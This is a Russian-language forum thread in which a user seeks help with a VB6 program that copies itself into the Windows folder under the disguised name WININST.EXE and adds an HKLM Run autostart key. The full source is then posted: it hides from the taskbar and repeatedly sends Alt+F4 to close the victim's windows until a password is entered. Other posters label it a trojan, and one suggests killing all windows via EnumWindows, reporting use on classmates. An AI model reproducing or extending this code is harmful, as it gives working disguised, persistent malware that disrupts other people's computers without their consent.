Проблема под названием "run-time error '75'"

[HugoFlex]

Программа копирует себя из одной папки в другой и записывается в реестр. Но я хотел бы перед запуском программы появлялось некое сообщение. А скомпилированная программа на отрез от этого отказывается. Появляется ошибка run-time error '75' Path/File acces error. А когда убрать msgbox, то снова все работает отлично.
Вот сам кусок кода:

Код: Выделить всё

If App.Path <> Environ("windir") Then
   
       
        src = App.Path & IIf(Right(App.Path, 1) = "\", "", "\") & App.EXEName & ".exe"
        dest = Environ("windir") & "\" & "prog.exe"
       
        FileCopy src, dest
       
               
    Set Reg = CreateObject("WScript.Shell")
    Reg.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Programm", Environ("windir") & "\" & "prog.exe"
   
    MsgBox "Программа запущена!", vbExclamation, "Programm"
   
    End If

[Alexanbar]

Скорее всего, в dest уже есть такой файл.

[GSerg]

Вирус.

[alibek]

Вирус.

Навряд-ли. Вирус бы подцеплялся куда-нибудь, это скорее троян. Наверняка безграмотный

[HugoFlex]

Я так и знал, что вы подумаете что это троян. На самом деле это программа совсем как ни троян. А просто программа шутка. Программа убивает открытые окна, пока не введете пароль. Вот код этой программы:

Код: Выделить всё

Private Sub Form_Load()
    Dim src As String
    Dim dest As String
   
  If App.Path <> Environ("windir") Then

        src = App.Path & IIf(Right(App.Path, 1) = "\", "", "\") & App.EXEName & ".exe"
        dest = Environ("windir") & "\" & "WININST.EXE"
        FileCopy src, dest
  End If
   
   Set Reg = CreateObject("WScript.Shell")
   Reg.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\WININST.EXE", Environ("windir") & "\" & "WININST.EXE"

    bytTick = 255
    App.TaskVisible = False
    p = 0
    Call SetFormPosition(Me.hwnd, True)
End Sub

Private Sub cmdEnter_Click()
  If UCase(Text1.Text) = "PASSWORD" And UCase(Text2.Text) = "I'M REALY LAMER!" Then
    c = "Your login and password is correct"
    Timer3.Enabled = True
    Timer2.Enabled = True
    Timer1.Enabled = True
ElseIf UCase(Text1.Text) = "PASSWORD" And UCase(Text2.Text) <> "I'M REALY LAMER!" Then
    c = "Your password is wrong"
    Timer2.Enabled = True
    Beep
ElseIf UCase(Text1.Text) <> "PASSWORD" And UCase(Text2.Text) = "I'M REALY LAMER!" Then
    c = "Your login is incorrect"
    Timer2.Enabled = True
    Beep
Else
    c = "Your login and password is worng"
    Timer2.Enabled = True
    Beep
End If
End Sub

Private Sub Timer1_Timer()
    Call SetTransparent(hwnd, bytTick)
    bytTick = bytTick - 1
    If bytTick = 0 Then Unload Me
End Sub

Private Sub Timer2_Timer()
    p = p + 1
    If p Mod 2 = 0 Then
        lblScroller.Caption = c
    Else
        lblScroller.Caption = ""
    End If
   
    If p = 20 Then
         lblScroller.Caption = ""
        Timer2.Enabled = False
        p = 0
    End If
End Sub

Private Sub Timer3_Timer()
    If GetActiveWindow <> Me.hwnd Then
        SetTransparent hwnd, 127
    Else
        SetTransparent hwnd, 255
    End If
   
On Error GoTo errorer
        SendKeys "%{F4}"
errorer:
End Sub

Выводы делайте сами.

[ALX_2002]

2 HugoFlex: Ути какой вредный ! ! Злобная задумка. А вообще идейка мне нравится

[BV]

Ага - злобный троян.

[Kovu]

А не легче через EnumWindows Сразу убить все окна, кроме своего Тогда глаза у юзера будут на затылке, сам проверял на классе мегаламеров!!!